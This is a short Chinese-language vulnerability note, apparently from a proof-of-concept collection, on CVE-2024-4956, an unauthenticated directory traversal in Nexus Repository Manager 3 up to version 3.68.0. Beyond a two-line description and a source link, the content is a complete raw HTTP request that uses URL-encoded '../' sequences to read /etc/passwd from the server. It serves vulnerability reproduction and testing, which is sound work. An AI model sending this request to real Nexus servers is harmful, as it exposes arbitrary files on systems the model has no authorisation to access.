## Nexus未授权目录穿越漏洞(CVE-2024-4956)

Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。

其3.68.0及之前版本中，存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。




## poc

```
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

![image-20240523225823421](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202405232258493.png)



## 漏洞来源

- https://github.com/vulhub/vulhub/blob/master/nexus/CVE-2024-4956/README.zh-cn.md